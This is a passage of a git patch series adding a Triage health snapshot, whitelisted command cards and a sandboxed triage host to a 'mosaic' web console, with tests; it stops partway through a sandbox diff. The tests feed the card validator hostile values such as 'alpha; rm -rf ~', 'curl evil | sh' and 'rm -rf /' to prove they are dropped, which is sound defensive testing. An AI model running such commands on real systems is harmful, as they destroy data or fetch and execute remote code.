From cbf1836bd73fafe289443e1c5a95e600db69b618 Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 11:46:13 -0600 Subject: [PATCH 1/7] feat(webui): triage health snapshot and command cards (#1873, lane triage-host) The snapshot is one 0600 JSON file with a fixed field list: the Console's answer, the model proxy unit, the system config check, and each active org's bus state, last start, processing and org config check. States, times, counts and codes only; a read that fails or hangs says "not read". The system config check runs scripts/mosaic-config.mjs validate in a child with stdout ignored and keeps the exit code and one fixed refusal code; the org config check keeps its exit code only. Cards are { step, org } with a known step and a registered org; the server renders the command and drops anything else. --- packages/webui/src/triage-cards.mjs | 59 +++++ packages/webui/src/triage-snapshot.mjs | 224 ++++++++++++++++++ packages/webui/tests/triage-cards.test.mjs | 72 ++++++ packages/webui/tests/triage-snapshot.test.mjs | 157 ++++++++++++ 4 files changed, 512 insertions(+) create mode 100644 packages/webui/src/triage-cards.mjs create mode 100644 packages/webui/src/triage-snapshot.mjs create mode 100644 packages/webui/tests/triage-cards.test.mjs create mode 100644 packages/webui/tests/triage-snapshot.test.mjs diff --git a/packages/webui/src/triage-cards.mjs b/packages/webui/src/triage-cards.mjs new file mode 100644 index 000000000..03c29bc91 --- /dev/null +++ b/packages/webui/src/triage-cards.mjs @@ -0,0 +1,59 @@ +// #1873 triage-host: the command cards a Triage reply may carry (design section 4). The agent +// proposes a card as `{ step, org }` in a fenced ```cards block of its reply. The server keeps a card +// only when its keys are exactly step and org, its step is one of CARD_STEPS and its org is in the +// registry, and it renders the command text itself from the fixed map below. Anything else is +// dropped and counted. The rest of the reply is plain text: control characters are removed and it +// is clipped. A card has no Run action; the owner copies the command into a terminal. + +import { ID_PATTERN } from "../../organization/src/vocabulary.mjs"; + +export const CARD_STEPS = Object.freeze({ + "bus-start": (org) => `mosaic bus start ${org} --detach`, + "bus-restart": (org) => `mosaic bus restart ${org}`, + "bus-recover": (org) => `mosaic bus recover ${org}`, + "bus-stop": (org) => `mosaic bus stop ${org}`, + "org-config-validate": (org) => `mosaic org config validate ${org}`, +}); +export const MAX_CARDS = 5; +export const MAX_TEXT = 8000; +const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g; + +// Plain text: no control characters other than newline and tab, and no more than MAX_TEXT. +export function plainText(value, max = MAX_TEXT) { + if (typeof value !== "string") return ""; + // eslint-disable-next-line no-control-regex + return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f​-‏‪-‮⁦-⁩]/g, "").slice(0, max); +} + +// One card, or null. orgIds is the set of registry ids the snapshot read. +export function validateCard(card, orgIds) { + if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null; + const keys = Object.keys(card); + if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null; + const { step, org } = card; + if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null; + if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null; + return { step, org, command: CARD_STEPS[step](org) }; +} + +// The reply split into its plain text and the cards the server keeps. +export function extractCards(reply, orgIds) { + const source = typeof reply === "string" ? reply : ""; + const cards = []; + let dropped = 0; + const seen = new Set(); + const text = source.replace(FENCE, (_, body) => { + let parsed; + try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; } + const list = Array.isArray(parsed) ? parsed : [parsed]; + for (const item of list) { + const card = validateCard(item, orgIds); + const key = card && `${card.step} ${card.org}`; + if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; } + seen.add(key); + cards.push(card); + } + return ""; + }); + return { text: plainText(text.trim()), cards, dropped }; +} diff --git a/packages/webui/src/triage-snapshot.mjs b/packages/webui/src/triage-snapshot.mjs new file mode 100644 index 000000000..b44ccc099 --- /dev/null +++ b/packages/webui/src/triage-snapshot.mjs @@ -0,0 +1,224 @@ +// #1873 triage-host: the health snapshot the Console writes for the Triage session (design +// section 2). It is composed from reads that already exist, keeps only the fields on the fixed list +// below, and is written as one JSON file in /triage/health/, which the session mounts +// read-only. States, times, counts and codes only: no token, key, host path, pid or upstream text. +// A read that fails, times out or answers outside its fixed shape says "not read", never a guess. +// Run records and logs are a later slice. +// +// The fixed field list (SNAPSHOT_FIELDS names the top level): +// snapshotVersion 1 +// at when the Console composed it (ISO time) +// console { state: "answering", at } the Console wrote this, so it answered at `at` +// proxy { initialized, installed, active, healthy, fence } or "not read" +// systemConfig { valid, exit, code } or "not read" +// organizations { count, list: [ { id, bus, processing, config } ] } or "not read" +// bus { state: running | not-answering | stopped | dead, lastStart: { ok, at } | null } or "not read" +// processing { halted, invalid } or "not read" +// config { valid, exit, code } or "not read" +// +// The system config check runs scripts/mosaic-config.mjs validate in a child. Its stdout is the +// resolved config, so it is never read (stdio "ignore"), and loadSystem is not used. Its stderr +// names the config path and data-root facts, so only its first line's leading word is matched +// against SYSTEM_CONFIG_CODES; the text itself never leaves this module. + +import { spawn } from "node:child_process"; +import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs"; +import { join, resolve, dirname } from "node:path"; +import { fileURLToPath } from "node:url"; +import { ID_PATTERN } from "../../organization/src/vocabulary.mjs"; + +const REPO = resolve(dirname(fileURLToPath(import.meta.url)), "..", "..", ".."); +export const CONFIG_SCRIPT = join(REPO, "scripts", "mosaic-config.mjs"); +export const ORG_CONFIG_SCRIPT = join(REPO, "packages", "organization", "src", "cli.mjs"); +export const NOT_READ = "not read"; +export const SNAPSHOT_VERSION = 1; +export const SNAPSHOT_FILE = "snapshot.json"; +export const SNAPSHOT_FIELDS = Object.freeze(["snapshotVersion", "at", "console", "proxy", "systemConfig", "organizations"]); +export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", "dead"]); +const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]); +export const READ_TIMEOUT_MS = 5000; +export const MAX_ORGS = 200; + +// What a failed system config check may say. Each refusal code the validator prints as its first +// word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general +// code. Nothing else of stderr is kept. +const PRINTED_CODES = Object.freeze([ + "instance-config-mismatch", "instance-name-invalid", "instance-root-unclaimed", "instance-root-mismatch", + "proxy-rotate-grace-invalid", "proxy-first-output-invalid", "proxy-config-invalid", +]); +const SENTENCES = Object.freeze([ + ["configuration not found", "config-not-found"], + ["configuration is not valid JSON", "config-not-json"], + ["configuration path must be a regular", "config-not-regular-file"], + ["configuration file is not readable", "config-unreadable"], + ["configuration must be a JSON object", "config-not-object"], + ["unsupported configVersion", "config-version-unsupported"], + ["unsupported environment", "config-environment-unsupported"], + ['execution "dataRoot"', "config-data-root-invalid"], + ["unsupported execution.", "config-execution-unsupported"], + ["unsupported ", "config-key-unsupported"], +]); +const EXIT_CODES = Object.freeze({ 1: "config-check-failed", 2: "config-invalid", 3: "config-missing-or-unclaimed", 4: "config-check-usage" }); +export const SYSTEM_CONFIG_CODES = Object.freeze([...new Set([...PRINTED_CODES, ...SENTENCES.map(([, c]) => c), ...Object.values(EXIT_CODES), "config-check-failed"])]); + +// The org config check (`mosaic org config validate ID`) is read by its exit code alone. +const ORG_EXIT_CODES = Object.freeze({ 2: "org-config-invalid", 3: "org-config-system-unreadable", 4: "org-config-check-usage" }); +export const ORG_CONFIG_CODES = Object.freeze([...Object.values(ORG_EXIT_CODES), "org-config-check-failed"]); + +// stderr's first line, already without its "mosaic-config: " prefix, to one fixed code. +export function systemConfigCode(exit, firstLine) { + if (exit === 0) return null; + const line = typeof firstLine === "string" ? firstLine.replace(/^mosaic-config: /, "") : ""; + const word = line.match(/^([a-z][a-z0-9-]{2,63})(?::|$)/)?.[1]; + if (word && PRINTED_CODES.includes(word)) return word; + for (const [start, code] of SENTENCES) if (line.startsWith(start)) return code; + return EXIT_CODES[exit] ?? "config-check-failed"; +} + +// A child run for its exit code. stdout is never opened. stderr is read only when `stderr` is +// true, at most 4 KiB, and only its first line is returned to the caller in this module. +export function runExitOnly(argv, { env, timeoutMs = READ_TIMEOUT_MS, stderr = false } = {}) { + return new Promise((done) => { + let child; + try { + child = spawn(argv[0], argv.slice(1), { env, stdio: ["ignore", "ignore", stderr ? "pipe" : "ignore"] }); + } catch { + return done(null); + } + let err = ""; + let settled = false; + const finish = (value) => { + if (settled) return; + settled = true; + clearTimeout(timer); + done(value); + }; + const timer = setTimeout(() => { + try { child.kill("SIGKILL"); } catch {} + finish(null); + }, timeoutMs); + child.stderr?.on("data", (b) => { + if (err.length < 4096) err += b.toString("utf8").slice(0, 4096 - err.length); + }); + child.on("error", () => finish(null)); + child.on("close", (code, signal) => finish(signal || !Number.isInteger(code) ? null : { exit: code, firstLine: err.split("\n")[0] })); + }); +} + +// { valid, exit, code } from the validator, or "not read" when it did not run to an exit. +export async function readSystemConfig({ env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) { + const r = await run([node, CONFIG_SCRIPT, "validate"], { env, timeoutMs, stderr: true }); + if (!r || !Number.isInteger(r.exit)) return NOT_READ; + const code = systemConfigCode(r.exit, r.firstLine); + return { valid: r.exit === 0, exit: r.exit, code }; +} + +export async function readOrgConfig(id, { env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) { + if (typeof id !== "string" || !ID_PATTERN.test(id)) return NOT_READ; + const r = await run([node, ORG_CONFIG_SCRIPT, "validate", id], { env, timeoutMs, stderr: false }); + if (!r || !Number.isInteger(r.exit)) return NOT_READ; + return { valid: r.exit === 0, exit: r.exit, code: r.exit === 0 ? null : ORG_EXIT_CODES[r.exit] ?? "org-config-check-failed" }; +} + +const ISO = /^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,9})?Z$/; +const isoOrNull = (v) => (typeof v === "string" && ISO.test(v) ? v : null); +const bool = (v) => (typeof v === "boolean" ? v : null); + +// Each read under its own deadline; a throw, a timeout or a null is "not read". +async function bounded(fn, timeoutMs) { + let timer; + try { + const value = await Promise.race([ + Promise.resolve().then(fn), + new Promise((resolve) => { timer = setTimeout(() => resolve(NOT_READ), timeoutMs); }), + ]); + return value ?? NOT_READ; + } catch { + return NOT_READ; + } finally { + clearTimeout(timer); + } +} + +// The fixed shapes. Anything outside them is "not read". +export function proxyFields(status) { + if (!status || typeof status !== "object") return NOT_READ; + const unit = status.unit && typeof status.unit === "object" ? status.unit : {}; + const out = { + initialized: bool(status.init?.initialized), + installed: bool(unit.installed), + active: UNIT_ACTIVE.includes(unit.active) ? unit.active : "unknown", + healthy: bool(unit.healthy), + fence: bool(status.fence?.set), + }; + return out.initialized === null && out.installed === null && out.healthy === null ? NOT_READ : out; +} + +// busStatus (packages/cli/src/org-bus.mjs) answers healthy and pid; a refusal from its state check +// (a host it cannot account for, a CliError) is a dead host, as the Console's bus revive reads it. +export function busFields(status, refusedDead = false) { + if (refusedDead) return { state: "dead", lastStart: null }; + if (!status || typeof status !== "object" || typeof status.healthy !== "boolean") return NOT_READ; + const state = status.healthy ? "running" : Number.isSafeInteger(status.pid) ? "not-answering" : "stopped"; + const boot = status.boot && typeof status.boot === "object" && typeof status.boot.ok === "boolean" && isoOrNull(status.boot.at) + ? { ok: status.boot.ok, at: status.boot.at } : null; + return { state, lastStart: boot }; +} + +export function processingFields(p) { + if (!p || typeof p !== "object" || typeof p.halted !== "boolean") return NOT_READ; + return { halted: p.halted, invalid: p.invalid === true }; +} + +function configFields(c, codes) { + if (!c || typeof c !== "object" || typeof c.valid !== "boolean" || !Number.isInteger(c.exit)) return NOT_READ; + return { valid: c.valid, exit: c.exit, code: c.code === null || codes.includes(c.code) ? c.code : null }; +} + +// readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with +// `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing. +export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS } = {}) { + const at = now().toISOString(); + const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ)); + const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]); + let organizations = NOT_READ; + if (Array.isArray(orgsRaw)) { + const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS); + const list = await Promise.all(active.map(async ({ id }) => { + const [bus, processing, config] = await Promise.all([ + typeof readers.busStatus === "function" + ? bounded(async () => { + try { return busFields(await readers.busStatus(id)); } + catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; } + }, timeoutMs) + : NOT_READ, + read("processing", id), + read("orgConfig", id), + ]); + return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) }; + })); + organizations = { count: list.length, list }; + } + return { + snapshotVersion: SNAPSHOT_VERSION, + at, + console: { state: "answering", at }, + proxy: proxyFields(proxyRaw), + systemConfig: configFields(systemRaw, SYSTEM_CONFIG_CODES), + organizations, + }; +} + +// One file, replaced whole: written beside itself at 0600, then renamed over the last one. +export function writeSnapshot(healthDir, snapshot) { + const file = join(healthDir, SNAPSHOT_FILE); + const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.tmp`); + try { + writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 }); + chmodSync(temp, 0o600); + renameSync(temp, file); + } finally { + rmSync(temp, { force: true }); + } + return file; +} diff --git a/packages/webui/tests/triage-cards.test.mjs b/packages/webui/tests/triage-cards.test.mjs new file mode 100644 index 000000000..e7e83d8ba --- /dev/null +++ b/packages/webui/tests/triage-cards.test.mjs @@ -0,0 +1,72 @@ +// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a +// registered org, renders the command itself, and drops everything else. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs"; + +const orgs = new Set(["alpha", "beta"]); +const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```"; + +test("each known step renders its fixed command for a registered org", () => { + assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]); + assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }); + assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta"); + assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta"); + assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta"); + assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha"); +}); + +test("a card with an unknown step, an unknown org or an extra field is dropped", () => { + assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null); + assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null); + assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null); + assert.equal(validateCard({ step: "bus-start" }, orgs), null); + assert.equal(validateCard(["bus-start", "alpha"], orgs), null); + assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null); + assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null); + assert.equal(validateCard("bus-start alpha", orgs), null); +}); + +test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => { + const reply = [ + "The alpha bus is stopped.", + fence([ + { step: "bus-start", org: "alpha" }, + { step: "bus-start", org: "gamma" }, + { step: "bus-wipe", org: "alpha" }, + { step: "bus-stop", org: "beta", command: "rm -rf /" }, + { step: "bus-start", org: "alpha" }, + ]), + "Then check its config.", + fence({ step: "org-config-validate", org: "alpha" }), + fence("not json {"), + ].join("\n"); + const out = extractCards(reply, orgs); + assert.deepEqual(out.cards, [ + { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" }, + { step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" }, + ]); + assert.equal(out.dropped, 5); + assert.ok(!out.text.includes("```")); + assert.ok(!out.text.includes("rm -rf")); + assert.match(out.text, /The alpha bus is stopped\./); +}); + +test("no more than MAX_CARDS cards are kept", () => { + const many = []; + for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org }); + const out = extractCards(fence(many), orgs); + assert.equal(out.cards.length, MAX_CARDS); + assert.equal(out.dropped, many.length - MAX_CARDS); +}); + +test("the explanation is plain text: no control or direction characters, clipped", () => { + assert.equal(plainText("a\u001b[31mred\u0007‮b\r\nc\td"), "a[31mredb\nc\td"); + assert.equal(plainText("x".repeat(9000)).length, 8000); + assert.equal(plainText(null), ""); + assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 }); +}); diff --git a/packages/webui/tests/triage-snapshot.test.mjs b/packages/webui/tests/triage-snapshot.test.mjs new file mode 100644 index 000000000..4700cc827 --- /dev/null +++ b/packages/webui/tests/triage-snapshot.test.mjs @@ -0,0 +1,157 @@ +// #1873 triage-host: the health snapshot keeps a fixed field list. States, times, counts and codes +// only; a failed system config check leaves no path, token or stderr text in it. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs"; +import { join } from "node:path"; +import { + NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, composeSnapshot, readSystemConfig, readOrgConfig, + runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields, +} from "../src/triage-snapshot.mjs"; + +const scratch = () => mkdtempSync(join(process.env.TMPDIR, "ts-")); +const SECRET = "sk-ant-TRIAGESECRET0123456789"; +const cliError = (message) => Object.assign(new Error(message), { name: "CliError", exitCode: 3 }); + +function assertClean(snapshot, ...needles) { + const text = JSON.stringify(snapshot); + for (const n of needles) assert.ok(!text.includes(n), `snapshot holds ${n}`); + assert.ok(!text.includes("mosaic-config"), "snapshot holds stderr text"); + assert.ok(!/\/(home|mnt|tmp|srv)\//.test(text), "snapshot holds a host path"); +} + +test("a failed system config check (real validator, bad JSON) leaves no path, token or stderr text", async () => { + const dir = scratch(); + const config = join(dir, `config-${SECRET}.json`); + writeFileSync(config, `{"configVersion": 1, "token": "${SECRET}",`); + const env = { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config, LANG: "C.UTF-8" }; + const systemConfig = await readSystemConfig({ env }); + assert.notEqual(systemConfig, NOT_READ); + assert.equal(systemConfig.valid, false); + assert.ok(Number.isInteger(systemConfig.exit) && systemConfig.exit !== 0); + assert.ok(SYSTEM_CONFIG_CODES.includes(systemConfig.code), `code ${systemConfig.code} is on the fixed list`); + const snap = await composeSnapshot({ systemConfig: () => systemConfig }); + assertClean(snap, SECRET, dir, config); + const file = writeSnapshot(dir, snap); + assertClean(readFileSync(file, "utf8"), SECRET, dir); +}); + +test("a missing config and an unsupported key are refused by code, never by the validator's words", async () => { + const dir = scratch(); + const missing = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: join(dir, "absent.json") } }); + assert.deepEqual(missing, { valid: false, exit: 3, code: "config-not-found" }); + const config = join(dir, "c.json"); + writeFileSync(config, JSON.stringify({ configVersion: 1, [SECRET]: true })); + const odd = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config } }); + assert.equal(odd.valid, false); + assert.ok(SYSTEM_CONFIG_CODES.includes(odd.code)); + assertClean(await composeSnapshot({ systemConfig: () => odd }), SECRET, dir); +}); + +test("the stderr mapping keeps only a fixed code, whatever the line says", () => { + assert.equal(systemConfigCode(0, "anything"), null); + assert.equal(systemConfigCode(2, "mosaic-config: instance-root-mismatch: /home/x/.mosaic-dev is claimed"), "instance-root-mismatch"); + assert.equal(systemConfigCode(3, "mosaic-config: configuration not found: /home/x/config.json"), "config-not-found"); + assert.equal(systemConfigCode(2, `mosaic-config: ${SECRET}`), "config-invalid"); + assert.equal(systemConfigCode(9, "/home/x/secret"), "config-check-failed"); + assert.equal(systemConfigCode(2, "mosaic-config: not-a-code: x"), "config-invalid"); +}); + +test("a child's stdout is never read and stderr only when asked", async () => { + const script = `process.stdout.write(${JSON.stringify(SECRET)}); process.stderr.write("line one ${SECRET}\\nline two"); process.exit(2)`; + const quiet = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH } }); + assert.deepEqual(quiet, { exit: 2, firstLine: "" }); + const told = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH }, stderr: true }); + assert.equal(told.exit, 2); + assert.ok(!JSON.stringify(told).includes("line two")); + assert.equal(await runExitOnly([process.execPath, "-e", "setTimeout(() => {}, 10000)"], { env: {}, timeoutMs: 200 }), null); + assert.equal(await runExitOnly([join(scratch(), "absent")], { env: {} }), null); +}); + +test("a system config check that does not reach an exit says not read", async () => { + assert.equal(await readSystemConfig({ run: async () => null }), NOT_READ); + const snap = await composeSnapshot({ systemConfig: () => readSystemConfig({ run: async () => null }) }); + assert.equal(snap.systemConfig, NOT_READ); +}); + +test("the org config check keeps its exit code only, and never runs for an id outside the pattern", async () => { + const calls = []; + const run = async (argv, opts) => { calls.push([argv.slice(-2), opts.stderr]); return { exit: 2, firstLine: SECRET }; }; + assert.deepEqual(await readOrgConfig("alpha", { run }), { valid: false, exit: 2, code: "org-config-invalid" }); + assert.deepEqual(calls, [[["validate", "alpha"], false]]); + assert.equal(await readOrgConfig("../etc", { run }), NOT_READ); + assert.equal(await readOrgConfig("--help", { run }), NOT_READ); + assert.equal(calls.length, 1); + assert.ok(ORG_CONFIG_CODES.includes("org-config-check-failed")); +}); + +test("the snapshot holds the fixed field list and nothing a reader adds", async () => { + const now = () => new Date("2026-11-16T12:00:00.000Z"); + const snap = await composeSnapshot({ + orgs: async () => [ + { id: "alpha", state: "active", root: "/home/x/orgs/alpha" }, + { id: "beta", state: "active", root: "/srv/beta" }, + { id: "gone", state: "archived", root: "/home/x/gone" }, + { id: "../bad", state: "active" }, + ], + busStatus: async (id) => { + if (id === "beta") throw cliError("stale bus host lock at /home/x/orgs/beta/bus.lock"); + return { healthy: true, pid: 4242, boot: { ok: true, at: "2026-11-16T11:00:00.000Z", log: "/home/x/boot.log" }, root: "/home/x/orgs/alpha", socket: "/home/x/s.sock" }; + }, + processing: async (id) => (id === "alpha" ? { halted: false, invalid: false, reason: SECRET } : { nonsense: 1 }), + orgConfig: async () => ({ valid: true, exit: 0, code: null, stderr: SECRET }), + proxy: async () => ({ unit: { installed: true, active: "active", healthy: true, error: SECRET, path: "/home/x" }, init: { initialized: true, file: "/home/x" }, fence: { set: false, key: SECRET } }), + systemConfig: async () => ({ valid: true, exit: 0, code: null, path: "/home/x/config.json" }), + }, { now }); + assert.deepEqual(Object.keys(snap), SNAPSHOT_FIELDS); + assert.deepEqual(snap, { + snapshotVersion: 1, + at: "2026-11-16T12:00:00.000Z", + console: { state: "answering", at: "2026-11-16T12:00:00.000Z" }, + proxy: { initialized: true, installed: true, active: "active", healthy: true, fence: false }, + systemConfig: { valid: true, exit: 0, code: null }, + organizations: { + count: 2, + list: [ + { id: "alpha", bus: { state: "running", lastStart: { ok: true, at: "2026-11-16T11:00:00.000Z" } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } }, + { id: "beta", bus: { state: "dead", lastStart: null }, processing: NOT_READ, config: { valid: true, exit: 0, code: null } }, + ], + }, + }); + assertClean(snap, SECRET, "4242"); +}); + +test("every failed or missing read says not read, and a read that hangs is cut off", async () => { + const hang = () => new Promise(() => {}); + const snap = await composeSnapshot({ + orgs: async () => [{ id: "alpha", state: "active" }], + busStatus: async () => { throw new Error("EACCES /home/x"); }, + processing: hang, + orgConfig: async () => { throw new Error(SECRET); }, + proxy: hang, + }, { timeoutMs: 100 }); + assert.equal(snap.proxy, NOT_READ); + assert.equal(snap.systemConfig, NOT_READ); + assert.deepEqual(snap.organizations.list, [{ id: "alpha", bus: NOT_READ, processing: NOT_READ, config: NOT_READ }]); + assert.equal((await composeSnapshot({ orgs: async () => { throw new Error("x"); } })).organizations, NOT_READ); + assert.equal((await composeSnapshot({})).organizations, NOT_READ); + assertClean(snap, SECRET); +}); + +test("bus and proxy reads outside their shapes say not read; unknown unit states are unknown", () => { + assert.equal(busFields({ pid: 3 }), NOT_READ); + assert.deepEqual(busFields({ healthy: false, pid: 3 }), { state: "not-answering", lastStart: null }); + assert.deepEqual(busFields({ healthy: false, pid: null, boot: { ok: false, at: "yesterday" } }), { state: "stopped", lastStart: null }); + assert.equal(proxyFields({}), NOT_READ); + assert.equal(proxyFields({ unit: { installed: false, active: "rm -rf /", healthy: false } }).active, "unknown"); +}); + +test("the snapshot file is one 0600 file, replaced whole", () => { + const dir = scratch(); + mkdirSync(join(dir, "health"), { mode: 0o700 }); + writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 1 }); + const file = writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 2 }); + assert.equal(statSync(file).mode & 0o777, 0o600); + assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]); + assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2); +}); -- 2.54.0 From b2d52b57c197ea811dc2367166b67c49571f0b5e Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 11:56:49 -0600 Subject: [PATCH 2/7] feat(webui): triage host and relay, a sandboxed session on the owner's first message (#1873, lane triage-host) The Console holds /triage/ (0700): health/ mounted read-only at work/health inside the session, agent/ the session's own run directory, and host/ with the 0600 transcript and the runner's log, never mounted. The seat package's new hostedBinds and hostedArgv give the session the system part, the runner's files, the adapter and those two directories, and nothing else of the data root: no org root, bus socket, config or secrets, and no git identity. Each source inside agent/ is made fresh at start (rm never follows a link), and hostedBinds refuses a link in place of any of them. The spawn environment is PATH (fixed), LANG, LC_ALL, TZ, TERM and the route's ANTHROPIC_BASE_URL, ANTHROPIC_AUTH_TOKEN or ANTHROPIC_API_KEY; bwrap sets HOME and TMPDIR. A route answer whose harnessEnv names MOSAIC_CONFIG, a MOSAIC_BUS_ variable or a founder credential variable is refused. The relay is the only broker the runner reaches. It answers the runner's lifecycle verbs with fixed answers, hands over the owner's messages, and keeps a message.send only when it is addressed to "human": its text goes to the transcript with its cards checked. Every other verb, a send to anyone else and a call without the capability are refused with triage-refused. The model route is injected; without one nothing launches (triage-no-route), and a route over its cap refuses with triage-over-cap and its until. The tests run the session end to end under bwrap with a stub adapter. --- packages/seat/src/sandbox.mjs | 42 ++ packages/seat/tests/hosted-binds.test.mjs | 83 ++++ packages/webui/src/triage-host.mjs | 376 ++++++++++++++++++ .../webui/tests/fixtures/triage-adapter.mjs | 61 +++ packages/webui/tests/triage-host.test.mjs | 232 +++++++++++ 5 files changed, 794 insertions(+) create mode 100644 packages/seat/tests/hosted-binds.test.mjs create mode 100644 packages/webui/src/triage-host.mjs create mode 100644 packages/webui/tests/fixtures/triage-adapter.mjs create mode 100644 packages/webui/tests/triage-host.test.mjs diff --git a/packages/seat/src/sandbox.mjs b/packages/seat/src/sandbox.mjs index d463d8741..435f86960 100644 --- a/packages/seat/src/sandbox.mjs +++ b/packages/seat/src/sandbox.mjs @@ -193,6 +193,48 @@ export function sandboxArgv(list, runDir, command, { business, role, bwrap = BWR return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", ...identity, "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command]; } +// #1873 triage-host: the binds for a session the Console hosts in no organization (Triage). It +// gets the system part, the runner's files, the adapter and the harness module's mounts like any +// session, and from the data root exactly two directories: its own `runDir` read-write, and +// `healthDir` read-only over runDir/work/health, inside the workspace the read tools' gate allows. The run's bundle/, session.json and the relay socket the runner +// calls through stay read-only inside it, and its tmp/ is /tmp. There is no workspace, broker, +// launch or git socket, thread store or org root. Each source inside runDir must be what the host +// just made there, never a link the session left: bwrap resolves a bind's source on the host. +export function hostedBinds({ runDir, healthDir, adapter, harnessMounts = [], relaySocket, node = process.execPath, readOnly = [] }) { + if (relaySocket !== join(runDir, "relay.sock")) throw new Error("hosted binds: the relay socket must be the run directory's relay.sock"); + const healthDest = join(runDir, "work", "health"); + for (const p of [runDir, healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work"), healthDest]) { + let st; + try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is missing`); } + if (st.isSymbolicLink() || !st.isDirectory()) throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is not a directory`); + } + for (const [p, ok] of [[join(runDir, "session.json"), (st) => st.isFile()], [relaySocket, (st) => st.isSocket()]]) { + let st; + try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${relative(runDir, p)} is missing`); } + if (!ok(st)) throw new Error(`hosted binds: ${relative(runDir, p)} is not what the host made`); + } + const out = systemBinds(node); + for (const f of RUNNER_FILES) out.push({ kind: "ro", src: f, why: "a repository file the runner loads" 